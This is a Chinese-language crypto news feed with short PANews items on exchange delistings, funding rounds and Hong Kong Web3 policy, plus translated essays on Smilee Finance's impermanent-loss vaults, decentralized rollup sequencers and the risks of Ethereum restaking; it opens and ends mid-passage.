拥有对池的一定比例的所有权，而不是每种资产的固定数量的所有权，他们的总持仓量会随着套利者通过纠正这些失衡而下降，少量流动性被移除了。 因此，LP 会经常发现，将资产存入池中通常会使他们手头的资产比单纯持有代币时更少。显然，DEX 和 AMM 已经成为趋势，但我们如何解决困扰 LP，并且经常成为 LP 激励的无常损失问题呢？ 到目前为止，唯一的方法是让 LP 希望他们从收益中收取的交易费足以抵消无常损失。不幸的是，这一点并没有像预期的那样实现。一些报告发现，绝大多数 LP 仍然处于长时间亏损。 那么，你可能会问：解决方案是什么？ Smilee Finance 可能是答案。 Smilee Finance 使用各种波动率产品，将无常损失从一个问题转化为一项特色。为了创造这些产品，他们必须改变对 IL 的看法。 它将 LP 视为出售期权。基于上文中的无常损失本质，如果 LP 想要盈利，那么就需要波动率降低。因此，在期权术语中，创建 LP 头寸实际上是承担了一个卖空波动率（即卖空 Gamma）的头寸。他们冒着这种风险，希望随着时间的推移，交易费用足以抵消它 - 这实际上意味着一个多头 Theta 头寸。 那么，如果承担卖空 Gamma 和多头 Theta 头寸的 LP 是期权卖方，那么谁是买方？ 以前，根本不存在买方，因为在这种情况下没有创建成为“期权买方”的工具。现在，Smilee Finance 正在创建这个期权。因此，在深入研究细节之前，让我们先了解产品的通用流程。 Smilee 本质上正在构建一个针对 DeFi 的波动率原始版本，因此他们的产品通常被称为去中心化波动率产品（DVP）。这些 DVP 可大致分为两种策略，即长期波动率和短期波动率。如果您在一个长期波动率的保险库中，无论市场走向如何，您都可以从市场波动中获利；如果您在短期波动率的保险库中，则可以通过稳定的市场情况赚取收益。 但是，在这种情况下，期权买方如何赚钱？那些持有多头波动率头寸的人呢？ 它看起来有点像这样： DVP 由两个交易对手使用：那些持有多头波动率的人和那些持有空头波动率的人。本质上，长期波动率的 DVP 支付溢价购买无常损失期权，这些溢价被支付给短期波动率的 DVP。反过来，短期波动率的 DVP 根据其 LP 头寸支付无常损失，然后通过引擎路由并支付给长期波动率的 DVP。这有效地将无常损失转变为无常收益。 尽管 DVP 保险库可以采用多种形式，但它们都有类似的参数来定义。 每个保险库都有： 所有这些都得益于流动性与波动率引擎。这是 Smilee Finance 团队设计的专有引擎，使得长期波动率和短期波动率 DVP 保持完美平衡。一个 DVP 赚取的东西由另一个 DVP 支付，确保在所有市场条件下都维持平衡。 由于所有长期和短期波动率 DVP 回报的总和等于 LP 回报和无常损失的总和，因此也就有效地解决了无常损失问题。 引擎还确保长期和短期波动率 DVP 的名义价值始终匹配，因此保险库之间不平衡的可能性非常小。 此外，Smilee 利用从 DEX 中获得的流动性提供最大的可组合性。它创建了一个全新的 DeFi 原始版本，将 DEX 作为底板，使得 Smilee 成为顶层的第一个货币积木。其架构随后允许一整套协议在其上创建定制的 DVP 和其他工具，增加了乐高结构的更多部分。 我们可以在 Smilee 上建造各种各样的金库。可以有直接的期权库，可以执行调用、看跌期权、跨越或任何其他类型的期权策略。我们还可以进行方差掉期，这在传统金融中非常受欢迎，但它在 DeFi 中可能会更受欢迎。也可以构建资产保险库，用户可以在那里获得保护，免受 depegs 或无常损失。 虽然在 Smilee 上可以构建的可能性是无限的，但让我们来看看已经创建的两种保险库类型，以便您更好地了解 Smilee 在实践中的样子。 Real Yield 保险库的总体前提是公平补偿流动性提供者。我们知道，大多数 LP 会亏损，因为他们获得的费用无法弥补无常损失。因此，这些 Real Yield 保险库旨在为 LP 提供公平的回报。 Real Yield 保险库有一个拍卖周期，在该周期内，LP 可以以代币或单个代币的形式将流动性存入保险库。在交易的另一侧是无常收益保险库。在那个保险库中存款的用户需要支付 USDC 的溢价。到期后，Real Yield 保险库中的 LP 将收到溢价和他们存入的流动性，扣除无常损失。 现在，LP 不必依赖于 DEX 直接提供的不可预测和不稳定的收益，也不必担心不断调整其头寸和范围。他们获得了预定义的透明回报，这为现有和潜在的 LP 提供了更多信心。这不仅对用户有好处-它还为可能对 LP'ing 持观望态度的人提供了一定程度的保障，最终推动 DeFi 中的流动性增加。 这些保险库是 Real Yield 保险库的交易对手，在这个保险库中的用户是期权买家。用户将 USDC 存入这个保险库作为溢价来赚取无常损失。他们在拍卖期间存款，一旦保险库到达到期日，Real Yield 保险库中所有头寸的无常损失就会被转移。通过“赚取”无常损失，它有效地变成了无常收益。 潜在的买家可能有许多使用这些保险库的动力。首先，它们将被证明是对具有大量裸 LP 风险的基金或个人而言的绝佳对冲工具。如果用户在特定事件之前（如 FOMC 会议或 CPI 数据）进行定位，它们可能特别有利可图。另一个有用的时间是在熊市条件下，在那里类似稳定币 depeg 的事情变得普遍，并购买期权将非常有利可图。 然而，最有可能最多使用此功能的实体是 DAO。DAO 通常使用自己的代币或支持项目的代币（协议拥有的流动性项目）进行大量 LP 操作。因此，他们面临着由于无常损失而产生的相当大的回撤。通过无常收益保险库对无常损失进行风险对冲可能是大多数 DAO 库的一种追求的策略。 但这不是全部。正如我之前提到的，Smilee 提供了类似于乐高积木的可组合性，因此可以进一步扩展无常收益保险库以增加潜在收益（同时也增加风险）。可以添加其他策略，例如仅上涨或仅下跌策略，这基本上是选择市场运动方向并对其进行投注，而不是对任何类型的波动率进行笼统的投注。这是一种适当更高回报的杠杆增加，但随之而来的是同样数量的风险，如果市场反向移动，则会产生相同的风险。 需要记住的是，如果你是这个保险库的潜在用户，头寸可以随时平仓，不必等待到期日。在平仓时，头寸将赚取到那个时刻为止看到的无常损失金额。然而，支付的溢价则会完全被没收。 Smilee 团队在其方法上非常大胆。他们正在利用传统工具（如期权）的现有知识创建全新的 DeFi 原语。DeFi 中有许多期权市场，但很少有人尝试将 DeFi 本地概念的无常损失转化为产品。因此，他们创造了一个真正独特的 DeFi 本地期权工具。 虽然这个想法和执行可能是一流的，但需要记住的是存在风险。交易波动率产品总体上具有固有的风险，因为您面临着市场不可预测的波动，而且像所有 DeFi 协议一样，总是存在被黑客攻击或利用的风险。 截至目前，Smilee 仍处于早期阶段，它是值得关注的协议。密切关注他们的社交媒体，以及尽力获得提前访问 Discord 以获取 Alpha 收益。  ( 4 min )
    Binance.US将下架Spell(SPELL)和TRON(TRX)
    PANews 4月12日消息，据官方公告，Binance.US将于2023年4月18日下架Spell(SPELL)和TRON(TRX)。Binance.US上的SPELL和TRX存款将于PDT时间4月17日19:00（北京时间4月18日10:00）关闭。在此时间之后的SPELL或TRX存款将不会记入帐户。 SPELL和TRX的提款将保持开放。 对此，孙宇晨表示，这不会影响TRX市场，TRX每日交易量约为4亿美元，而在Binance.US上的交易量仅为不到200万美元；目前正在与Binance.US积极沟通，以了解被下架原因并谋求重新上线。  ( 1 min )
    香港财政司司长：现在是Web3发展的黄金机遇，也是惊心动魄的时刻
    PANews 4月12日消息，在“2023香港Web3嘉年华”主会场上，香港特别行政区政府财政司司长陈茂波在发表开幕演讲时表示，要以科技变革的历史视角看待Web3的发展，科技的变革引领着商业的创新，而商业行为也会驱动更好科技的变革，互联网就属于这一类变革的力量，区块链技术的兴起，让互联网已经进入Web3时代。香港将推动虚拟资产市场可持续和负责地发展，适当的监管是必须的，这样才能营造可持续的发展空间。现在是Web3发展的黄金机遇，也是惊心动魄的时刻，回顾历史，Web3的发展在经历震荡后将会再次快速发展。  ( 1 min )
    Metalpha将在香港推出基于灰度的数字资产基金，目标筹资1亿美元
    PANews 4月12日消息，据CoinDesk报道，香港数字资产管理公司正在该地区推出一只持牌基金，让投资者接触灰度（Grayscale）的数字资产产品包括Grayscale Bitcoin Trust (GBTC)，也支持赎回。 Metalpha将这只基金称为“下一代基金”，自3月份开始融资以来，Metalpha自3月以来已为该新基金筹集2000万美元，目标是筹集1亿美元。据悉，该基金由NextGen Digital Venture发起，由前阿里巴巴集团控股有限公司联合创始人蔡崇信的家族办公室Blue Pool Capital的Jason Huang领导。  ( 1 min )
    Sei Labs完成两轮共计3000万美元战略融资，Jump等参投
    PANews 4月12日消息，据Globenewswire报道，公链Sei开发团队Sei Labs宣布完成两轮共计3000万美元战略融资，Jump、Distributed Global、Multicoin、Asymmetric、Flow Traders、Hypersphere和Bixin Ventures等参投。 新资金将用于其开发人员构建性能更高的Web3应用程序，加速Sei Labs的持续增长，并深化推进其在亚太地区的业务。据悉，Sei Labs由高盛前技术投资银行家Jeff Feng和Robinhood前软件工程师Jay Jog创立。  ( 1 min )
    DWF Labs回应质疑：投资通过多种方式和分批进行，资产存在CEX上系考虑到安全和资本效率
    PANews 4月12日消息，针对推特用户Nay的推文，DWF Labs管理合伙人Andrei Grachev在领英上发文阐释其愿景、工作流程和投资主题以作为回应。Grachev表示：“DWF Labs的主要投资对象是Layer1/Layer2协议，投资目标的第二部分包括最有前途和最主流的利基市场，如GameFi、Guilds、DeFi、Web3衍生品、Web3社交平台、AI、DAO，有时还包括meme币。然后我们可以围绕我们的投资组合公司，寻找相互之间的协同效应，积极推动它们的发展。” 对于投资理念和价值主张，Grachev表示：“我们不是“纯金钱”投资者，我们是我们投资组合项目的合作伙伴和朋友。”对于投资的评估过程，其表示：“重点是市场叙述、社区规模和参与度、项目的愿景和团队、技术、交易所（如果项目已上市）和市场数据。根据项目的得分，我们会调整我们的支票规模和潜在合作的条件。我们知道筹款过程有多么复杂，我们一直在努力寻找支持企业家的方法。我们如何以及何时投资——我们通常在SAFT投资种子前和种子阶段。如果代币已经上市且可交易，我们还会根据解锁时间表和锁定期或分批进行投资。除了投资，我们通常会带来额外的支持。” 对于资产的托管和余额管理。Grachev表示：“出于安全原因和资本效率（我们可以使用代币作为交易抵押品），我们将几乎所有资产存储在CEX上，以及有时我们与项目分担风险并使用我们自己的余额进行做市。风险管理我们从不投资任何 NFT，我们根据交易对手风险调整我们的投资，我们从不在链上钱包中存储太多资金——做市商和资金被黑客攻击的案例太多了，我们不想成为受害者。” 此前昨日消息，推特用户Nay表示，DWF Labs很多公开的投资交易与链上数据不匹配。  ( 1 min )
    解读5大去中心化排序器项目：Espresso Sequencer、SUAVE、Polygon PoE、EigenLayer 和 Cosmos ICS
    实现 Rollup 去中心化排序对于解决审查问题和提高 MEV 提取效率至关重要。 撰文：100y 编译：0x11，Foresight News TL；DR 以太坊之外的 7 大网络的 TVL 主导地位趋势，来源：Messari 2022 年可谓是 Rollup 备受瞩目的一年，一些 Rollup 网络在加密货币市场整体的下跌趋势中反而取得了巨大成功。在 2020 年和 2021 年，L1 大放异彩，许多人都在谈论通过投资 SOLUNAVAX（Solana、Luna、Avalanche）和 FOAN（Fantom、Harmony One、ATOM、NEAR）而收获匪浅。另一方面，在 2022 年，由于宏观经济影响、频繁的黑客攻击、Terra 崩溃，L1 的采用率迅速下降，这反过来又引起了公众对 Rollup 网络的关注。 以太坊 Rollup 在以太坊网络上存储状态（例如钱包余额）和交易数据的摘要（状态根），在主链外执行交易时依赖以太坊的安全性，从而实现可扩展性。那么，是否可以完全信任并使用 Optimism 或 Arbitrum 这样的 Rollup 网络？不幸的是，这项技术存还处于早期，当前 Rollup 网络仍然存在一些风险因素。 Rollup 网络的风险分析，来源：l2beat 上表是 l2beat 网站上的风险分析，可以看到当前 Rollup 存在相当多的风险因素。虽然上表中提到的风险不是本文的重点，但还是值得花一点时间简要回顾它们的含义： 目前为止，我们已经回顾了以太坊 L2 网络中的各种风险因素。然而，还有一个风险没有得到解决，那就是中心化排序。排序器负责接收和排序 L2 用户提交的交易，目前，中心化排序是几乎所有 L2 网络的规范。甚至两个最大的 Rollup 网络 Optimism 和 Arbitrum 也运行单个排序器来决定所有交易的顺序。中心化排序器是否会带来重大风险？与上面列出的风险因素相比时，回答是否定的。 事实上，表中列出的风险会直接损害用户的资金，但中心化排序不会。无论排序是集中在单个实体还是分散在多个实体，L2 网络交易的有效性在 L1 网络上都通过欺诈证明或有效性证明来证明。尽管如此，如果单个排序器行为不当，L2 网络的用户可能会遭受间接损失。能够单独决定交易顺序可能会助长恶性的 MEV 提取，如三明治攻击对用户造成财务损失，甚至审查交易（这因项目而异，但由于存在强制交易通过 L1 包含到 L2 区块中的机制，恶意排序器很难审查并完全阻止添加交易。然而，如果恶意排序器在需要及时执行的紧急情况下审查交易，例如，借贷协议的清算，可能会导致延 L2 中交易延迟 )。 尽管大多数 L2 项目最终都计划将排序器去中心化，但这需要引入一种新的交易排序共识机制。为多个排序器纳入共识机制不可避免地会损害可扩展性，这违背了 Rollup 的初衷。但是，基于区块链精神去中心化排序确有优势，必然是追求的最终方向。本文探讨了最近为去中心化排序器所做的尝试和努力。 Espresso Systems 是一家区块链可扩展性和隐私解决方案服务商，在 2022 年 5 月从 Electric Capital 和 Sequoia Capital 等筹集了 3200 万美元资金。Espresso Systems 还在开发其他的解决方案：HyperPlonk ，一种 zkEVM 证明系统；jellyfish，一个开源密码学库；CAPE，一个智能合约应用程序，可以为现有 EVM 链中的资产提供选择性隐私；以及 VERI-ZEXE，一个为智能合约提供隐私的系统。这篇文章将着眼于 Espresso Systems 开发的去中心化排序器 Espresso Sequencer。 Espresso Sequencer 是一种解决方案，可帮助改善当前使用中心化排序器的 zk 和 Optimistic Rollups。作为针对 Rollup 的去中心化排序和数据可用性的层，它可以充当 L1 和 L2 之间的中间件层。交易由 L2 处理，但它们的最终性最终取决于以太坊的 L1，因为网络的共识算法优先考虑活性而不是安全性。Espresso Sequencer 通过引入基于 HotStuff BFT 的 HotShot 共识算法解决了 Rollup 排序和最终性需要依赖于 L1 的问题。基于该算法，多个排序器在乐观条件下快速处理 L2 事务。 最近，HotShot 发布了一个名为 Americano 的测试网，在 100 个具有 4GB 内存和 2 个 CPU 内核配置的节点网络中，实现了 1-2 万次 ERC-20 交易的吞吐量。高性能归功于 HotShot 算法在乐观情况下利用了中心化网络结构。当网络出现问题时，该算法会切换到另一种机制，在悲观条件下优先考虑稳定性而不是性能。 Espresso Sequencer 路线图 | 来源：Espresso Systems 目前，Americano 测试网只采用了乐观响应的交易处理方式，未来计划在 Doppio 测试网中引入悲观处理方式。 来源：Flashbots Flashbots 是一家致力于以太坊网络 MEV 高效提取和去中心化分配的研发机构。它曾经为 PoW 以太坊提供 Flashbot Auction，现在正在为 PoS 以太坊贡献了 MEV-Boost，一个实现 MEV 去中心化的中间件。然而，MEV-Boost 也有其自身的局限性：区块构建者中心化。 虽然验证者或提议者的中心化对网络安全构成了严重威胁，但区块构建者的中心化并没有带来同样程度的风险。尽管如此，中心化的构建者不是理想情况，因为 EOF（外部订单流，用户将交易发送到特定的区块构建者，而不是内存池，从而大大增强了构建者的权限）可能会导致网络偏离高效提取和分配 MEV 的目标。Flashbots 于 2022 年 11 月 23 日推出了名为 SUAVE（The Single Unifying Auction for Value Expression）的解决方案。 来源：Flashbots SUAVE 是一个兼容 EVM 的区块链网络，但其目的是处理交易排序和区块构建，而不是支持部署各种 dApp。简单来说，SUAVE 既是用于交易排序的区块构建者网络，也是用于存储第 1 层网络的预确认交易的内存池。此外，SUAVE 兼容各种 EVM 系网络，这意味着它不仅可以用于以太坊，还可以用于 L2 网络，如 Optimism、Polygon 和 Arbitrum。 来源：Flashbots SUAVE 最初的目的是，在所有人可访问的开放环境中，1）使用加密的内存池加密用户的交易以确保隐私，并使用最佳执行市场缓解 EOF 情况，从而防止区块构建者的中心化，以及 2 ) 通过处理多个网络的排序将跨链 MEV 提取去中心化，从而防止某些区块构建者权力过大。然而，使用 SUAVE 还可以带来额外的好处。 通过作为多个网络的排序层，SUAVE 能够为选择使用它的 L2 网络去中心化排序器。此外，这将提高 MEV 提取过程的效率，从而形成更具可持续性的网络，这是一个额外的好处。但是，将中心化实体的角色委托给像 SUAVE 这样的去中心化层有一个潜在的缺点，这可能会导致延迟等方面的性能下降。由于 SUAVE 尚未发布，实际表现如何还有待观察。 Polygon zkEVM 由 Polygon Hermez 更名，计划通过将名为效率证明 (PoE) 的共识算法引入 Rollup 网络来实现排序器去中心化。PoE 的工作方式如下所述，并将现有排序器角色拆分为排序器和聚合器。排序器将用户的交易聚合成批次，并将它们提交给以太坊 L1 上的智能合约，聚合器验证排序器发布的交易批次。关于 PoE 及其前身捐赠证明 (PoD) 的详细解释，请参阅《Polygon，模块化区块链未来的领跑者》一文的第 5 部分。 PoE 的工作原理，来源：Polygon EigenLayer EigenLayer 是第一个引入再质押概念的协议，质押者将已经质押的 ETH 附加额外的削减条件（参见 EigenLayer：通过 ETH 重新质押扩展信任网络)。这种方法的好处是其他协议可以利用以太坊以其巨大的市值建立起来的强大安全性。此外，通过再添加一个削减条件，EigenLayer 可以更好地实现去中心化目的。EigenLayer 可用于将当前 Rollup 排序器去中心化，想要成为去中心化排序器的机构可以通过 EigenLayer 重新质押 ETH 来作为一个实体，并且可以因恶意行为而被罚没。虽然可以使用 Rollup 网络的原生代币通过 PoS 方法构建去中心化排序器，但 EigenLayer 通过使用相对更安全的 ETH 代币提供更好的保护。这里引入 Eigenlayer 无非是在 Rollup 排序器的 PoS 过程中加入 ETH 代币和罚没条件。所以，在采用 EigenLayer 之前，需要考虑如何去中心化排序器。该协议尚未启动，计划在 2023 年发布。上述 Rollup 排序器去中心化的方案还在讨论中，EigenLayer 在发布后的实际使用情况如何，还需拭目以待。 来源：Celestia 模块化区块链的代表项目之一 Celestia 的首席运营官 Nick White 最近在 Celestia 论坛上分享了一个关于 Rollup 排序器去中心化的有趣提案。他建议使用来自 Cosmos 生态系统的 Interchain Security。Interchain Security (ICS) 使用 Cosmos Hub 的验证器为消费者链（使用 ICS 的特定应用程序链）提供共享安全性。换句话说，这个想法是通过 ICS 利用 Cosmos 的现有验证器作为 Rollup 排序器，因为 Rollups 推出新代币和为 PoS 构建去中心化排序器集具有挑战性。这与利用 EigenLayer 进行去中心化排序的思路基本相同。 引入这种方法将为 Celestia 网络提供一个强大的工具来实现「原子跨 Rollup 可组合性」。Celestia 网络充当托管多个 Rollup 网络的数据可用性层，这可能导致流动性碎片化和可组合性下降。如果多个 Rollup 网络使用通过 ICS 设置的相同排序器进行运作，这将允许原子事务，因为相同的参与者会生成批量的 Rollup。不同 Rollup 上的 dApp 能够无缝交互，解决 Celestia 网络上流动性分散和可组合性恶化的问题。 假设您打算通过提供 A Rollup 的 X 代币作为抵押来借用 B Rollup 的 Y 代币。在这种情况下，需要花费相当长的时间来验证 A Rollup 的 X 代币是否已被适当地锁定为抵押品以及 B Rollup 的 Y 代币是否已被正确借出。然而，如果 Rollup A 和 Rollup B 共享相同的去中心化排序器集，它们的区块将由相同的实体生成，这将大大简化贷款的验证过程。这也意味着网络可以几乎像在同一个网络中一样相互交互，从而显着增强跨 Rollup 交互的用户体验。 与 EigenLayer 一样，Celestia 和 Cosmos 也计划在 2023 年推出 ICS。因此，到目前为止讨论的提案应被视为去中心化排序的潜在解决方案。 本文考察了 Rollup 去中心化的不同思路：Polygon 的 PoE 共识算法直接在 Rollup 网络层面实现去中心化排序，Espresso Systems 的 Espresso Sequencer 和 Flashbots 的 SUAVE 绕道另一层解决问题，EigenLayer 和 Cosmos 的 ICS 利用已经构建了强大安全性的网络验证器集。由于 排序器的去中心化至关重要，来自 Celestia 的 Alex Beckett 在 2022 年 6 月就此主题发表了文章。我想通过简要概述 Alex 的解决方案来结束本文。 第一个是「带领导者选举的无许可 PoS」。在这种方法下，任何人都可以作为 Rollup 排序器参与网络，通过抵押代币并通过领导者选举过程来决定网络的区块生产顺序。如上所述，Espresso Sequencer、EigenLayer 和 Cosmos ICS 都采用了这种方法。 第二个是「通过 MEV 拍卖的无许可 PoS」。不是像上面那样使用领导者选举过程来确定哪个定排序器将创建下一个区块，而是在拍卖过程中出价最高的排序器负责生成区块。Flashbots 的 SUAVE 或前面讨论的 Polygon zkEVM 的 PoE 共识算法采用了类似的方法。 最后，「执行公平排序的许可排序器集」。由于上面讨论的两种解决方案都是无需许可的，任何人只要满足一定的条件就可以参与到排序过程中。另一方面，涉及许可排序器的解决方案是指与受信任的实体以私有方式创建一组排序器。您可以将其视为排序器，收集交易并根据先到先得的方式公平公正地决定订单。然而，这种方法需要信任，不能被视为真正的 Rollup 排序器去中心化解决方案。 尽管 Rollup 网络在 2022 年获得了极大关注，但仍存在相关的重大风险，而去中心化排序器通常被认为是低优先级的风险。尽管如此，实现去中心化排序对于解决审查问题和提高 MEV 提取效率至关重要。随着 2022 年 Rollup 网络的广泛采用，他们处理着越来越庞大的资金，这增加了对提高网络安全性和公平性的需求。希望未来排序器去中心化会有所改进，让用户可以使用更安全、更公平的 Rollup 网络。 参考资料 https://www.espressosys.com/blog/decentralizing-Rollups-announcing-the-espresso-sequencer https://www.espressosys.com/blog/espresso-hotshot-consensus-designed-for-Rollups https://www.espressosys.com/blog/releasing-espresso-testnet-1-americano https://writings.flashbots.net/the-future-of-mev-is-suave/ https://www.alexbeckett.xyz/decentralized-sequencers-where-do-we-go-next/ https://forum.celestia.org/t/decentralized-Rollup-sequencing-as-a-service-via-interchain-security/423  ( 7 min )
    PayPal前总裁旗下创业公司Lightspark公布其基于比特币网络的产品套件
    PANews 4月12日消息，据The Block报道，前PayPal总裁David Marcus的新创业公司Lightspark今日凌晨公布了其产品套件，它建立在比特币网络之上，特别是一种称为闪电网络的第2层协议。Lightspark将该平台称为“闪电网络的第一个企业级入口点”。Marcus认为，由于比特币的相对规模和更安全的监管基础，构建必要的工具可使闪电网络更易于使用，这是一条比依赖替代区块链更好的途径。 据一位不愿透露姓名的知情人士透露，Lightspark去年以近10亿美元的估值完成约1.73亿美元融资。此前去年5月消息，Lightspark完成由a16z和Paradigm领投的融资，但当时未披露具体金额。  ( 1 min )
    赵长鹏：币安下架代币不会提前通知项目方，下架QLC因该项目发展迟缓
    PANews 4月12日消息，Web3社交媒体平台Kepple（原QLC Chain）发推文称：“团队已经等待币安的决定数周了，希望获得对QLC至KPL代币互换的支持。然而，我们在没有事先通知的情况下被下架了。”对此，币安首席执行官赵长鹏回应称：“我们不会‘提前通知’项目团队下架，项目团队没有理由在用户之前有机会行动/交易。我们同时通知所有用户。” 此外，赵长鹏在回答其他推特用户的推文中进一步解释道：“我被告知：该项目几年没有太大的发展，最近‘卖’给了另一个项目，目前不符合我们的上市标准。”此外，赵长鹏强调：“我们会定期下架低于特定标准的项目。例如没有活跃的开发者，没有进展等。” 此前昨日消息，币安将下架QLC、NEBL和AUTO。  ( 1 min )
    深度思考再质押叙事：为何最终会危害以太坊生态？
    太长不看版： 再质押协议可能会给验证者带来巨大的经济利益，但他们的成功有可能损害以太坊自我调节质押参与和并抑制中心化力量的能力。我们认为，从逻辑来看的终局是对活跃验证者的规模设置一个根深蒂固的上限。 研究了 Lido 选择自我限制其验证人集的经济案例，我们发现再质押协议将可能使该选项不可行。 以太坊的长期挑战不是让更多人去质押，而是让更少人去质押。 在不太了解的人中，一个普遍的看法是，以太坊的终局将是看到质押的参与加入会像 Solana 和 Cardano 等；两条链都有大约 70% 的代币供应被质押，且不活跃。然而，在以太坊研究和开发社区有一个深刻的共识，即这不是一个好结果。 从某种意义上说，比特币最高主义者对以太坊的货币政策是正确的：它不是一成不变的，将来可能会改变。然而，他们对方向的判断是错误的；与其说以太坊过度膨胀，不如说需求量远远超过目标，奖励会下降——代币持有者可能会被以太坊基金会强化他们的资产具有更强的货币属性（1）。 停留在法币（或比特币）思维中的读者可能会将额外质押者视为以太坊的净利好，但人们应该记得，质押证明颠覆了货币政策的动态。更高的发行量（以及由此产生的质押收益）并不会使持有者更不可能长期持有他们的代币；它鼓励持有者将他们的资产质押，实现更高的 APR. 例如，人们声称 EIP-1559 是一个 NGU 超健全的货币计划，但实际上它降低了质押的 APR，鼓励网络活动而不是质押/持有。 再质押协议，如 EigenLayer，提供以太坊协议以外的收益，扭曲了市场激励，破坏了以太坊的货币政策控制。这些协议描绘了一幅令人担忧的画面，即加密资产可能出现的超金融化终局。 以太坊的货币政策包括一个内嵌的负反馈回路，以阻止质押压倒其他用例：随着越来越多的人将他们的代币锁定在存款合约中，收益率下降。这抑制了额外的质押活动，并降低了选择使用该链的机会成本。 我发现分析这种反馈循环的一个方法是，把各链的质押者想象成一个或一小群垄断者，然后计算他们可以从非质押者那里提取的最佳实际产量，以及他们为实现这一目标而锁定的供应份额（2）。 我已经在之前讨论过这一概况，但为了简要地提醒读者提取的实际收益率曲线是如何工作的，我们应该首先意识到，质押的回报纯粹来自于其他持有人和验证人的稀释。如果一个行为人拥有并质押流通中的每一个 ETH，他们将只是自我稀释，因此将获得零的实际收益。同样地，如果没有人确保网络的安全，那么就没有人赚取收益。这两个边界条件在 0% 和 100% 的供应量被质押时，意味着我们在上图中绘制了一个收益率提取的最大点。 任何偏离这一峰值的情况都代表了对非质押者的次最大税收。如果我们预期垄断者的质押卡特尔会占据这一供应份额，那么向其他人开放竞争将顺理成章地把质押均衡推向更远的曲线。因此，我们认为上图中大约 33% 的峰值是自由市场在长期内可以推动质押参与的最低值。 与以太坊的发行时间表形成鲜明对比的是，Solana 的发行是预先设定的，与验证人的数量无关。因此，为了最大限度地提取，一个垄断者定点者最好是尽可能少地持有供应量（以减少自我稀释）。然而，在实践中，每个人都能够委托他们的股份，几乎没有进入的障碍，而且由于发行发生在任何情况下，生态仍在发展中，我们观察到一个非常高的参与率。 成本和风险的作用 本分析主要讨论增加质押收益率的因素，但必须指出，运营成本和风险调整也是对话中同样重要的因素。在上海升级之后，质押的风险状况将发生重大变化，届时可能会有更细致的讨论（3）。 在这个分析中，我们将通过允许读者选择一个比率来折算他们的收益率来纳入运营成本和风险调整。这提供了一些灵活性；例如，25% 的费率可以代表中心化交易所的质押费，流动性质押代币（LST）的费率为 15%，并为合同风险提供额外的 10% 折扣，或者为可能遇到任何类型问题的家庭质押者提供折扣。 需要回顾的一个细节是，费用是以名义价值收取的，但质押者应该感兴趣的收益率是以实际价值衡量的。当我们对费用进行调整时，实际收益率不再收敛于零，而是在高费用率或高质押参与率时变为负数。名义费用和实际收益之间的脱节，使垄断均衡转向较低的参与率。 在下图中，我们生成了各种费用率的概况（4）。 在启用验证器提款之前，人们可以认为接近 50% 的贴现率是合适的，但我们并不是说生态目前已经接近一个有意义的平衡点。 术语 restaking 已被用于描述质押生态中的各种活动。当人们讨论 LST 时，如 Lido 的 stETH 或 Rocket Pool 的 rETH，再质押通常是指将质押奖励反馈到生态中，以创造更多的验证者，并使协议获得的收益复合。另外，再质押往往是描述 2022 年初失控的循环 stETH 交易的一个术语。公司将以太坊存入 Lido 以获得 stETH，然后用这些 stETH 代币借款以获得杠杆，并重新入股以获得额外收益。本分析不是讨论这两种再质押的方法。 今天，再质押最常指的是像 EigenLayer 这样的协议，它是一系列的智能合约，允许以太坊质押者重新抵押他们的抵押品，以确保二级应用或协议。通过选择加入智能合约定义的自定义附加削价条件，质押者很快就能用以太坊货币政策以外的收益率提高他们的年利率。如果这个概念对你来说是新的，我会推荐以下内容： 通过像 EigenLayer 这样的协议再质押或使用循环 LST 交易的关键区别是内部与外部收益的想法。虽然这两种方法都增加了收益率和风险，但循环质押受到以太坊货币政策中嵌入的负反馈回路的约束。相比之下，Ethereum 协议没有办法阻止使用外部收益率协议。 其结果是，循环质押使均衡点移动到较低的供应质押百分比，而外部再质押使均衡点移动到较高的供应质押百分比（5）。 当我们对不同的外部再质押的演变平衡进行建模时，结果是惊人的。由于外部收益率不是自我稀释的，即使是少量增加的收益率也可能对质押生态产生巨大的影响。如果像 EigenLayer 这样的协议能够产生足够的外部收益率供应，而收益率仅为 1%，那么最佳的质押动态可能被推到无法维持的水平。 以太坊研究社区经常认为采用最小可行发行量是阻止高质押参与率的关键。这个想法是，如果有太多人想要质押，降低收益率会使质押的吸引力降低，同时也会改善加密资产的货币属性。 由于网络的竞争性，最小可行的发行政策可能仍然具有预期的效果，但在垄断性的优化问题中，恢复的结果是逆转的。在这种动态情况下，降低协议发行量会减少自我稀释的效果，并鼓励垄断者质押更多的代币并利用外部收益。 为了恢复垄断均衡，降低大行为者的最佳质押水平，正确的博弈理论举措是转移到增加质押 APR——使其他持有者的税收比恢复质押的奖励更有价值。 低发行量和高参与度有可能是网络可以接受的结果，反过来将安全的补贴外包给其他协议，但监测质押中心化的变化将很重要。例如，如果 Lido 与 EigenLayer 的整合是市场最需要的，那么最低可行的发行有可能是一个不可行的解决方案。 再质押协议扭曲了内在的定额反馈回路。从长远来看，以太坊有可能不再能够通过修改奖励的 APR 来对抗高分红参与度和中心化力量。 对于这个问题的核解决方案，已经讨论了很多年，Data Always 认为最终需要实施对活跃验证器集的上限。为了关注未来的讨论，人们应该把注意力集中在以太坊的稳健激励小组，以及 Anders 和 Barnabé 在拍卖验证人名额方面所做的工作。 该分析可以扩展到对最大的 LST 供应商 Lido 选择自我限制其网络份额的相关经济成本进行建模。社会论证已经被细致地辩论过了，但是当在社区中提出建议时，它被压倒性地拒绝（99.8% 反对）了。 为了分析经济论点，我们需要考虑三类利益相关者和他们各自的激励措施： 我们可以修改本分析中提出的方法，来模拟非 Lido 验证人对 Lido 验证人的质押收益率的影响，但我们在优化中只考虑额 Lido 多验证人的自我稀释，而不是总网络的真实收益率提取。 在下图中，我们应用了 Lido 的 10% 的奖励费用，同时根据非 Lido 验证者质押的 ETH 总供应量的分数，创建了非 Lido 的收益提取曲线。 随着更多的非 Lido 质押的出现，收益率曲线的形状将 Lido 的最佳质押金额推低。这是另一个反馈回路：更多的非 Lido 质押意味着利多作为一个整体应该想吸收更少的 ETH. 再深入一层，我们可以分析在给定的非 Lido 质押参与率（本例中为 25%）下的特定 Lido 曲线。值得注意的一点是，在最佳点附近，曲线相对平缓，这表明接近但远离峰值的成本相对较低。 假设 ETH 总供应量的 25% 是由非 Lido 验证者质押的，为了优化 stETH 持有者集的收益提取，Lido 应该致力于捕获 25.2% 的代币供应。这将使他们达到 50.1% 的验证者，对于整个网络来说，这远远不是理想的结果。在牺牲非常小的情况下，Lido 可以选择自我限制在网络的 50% 以下，牺牲不到 1% 的实际收益。 大多数非 Lido 的社区成员喜欢的自我限制是 33% 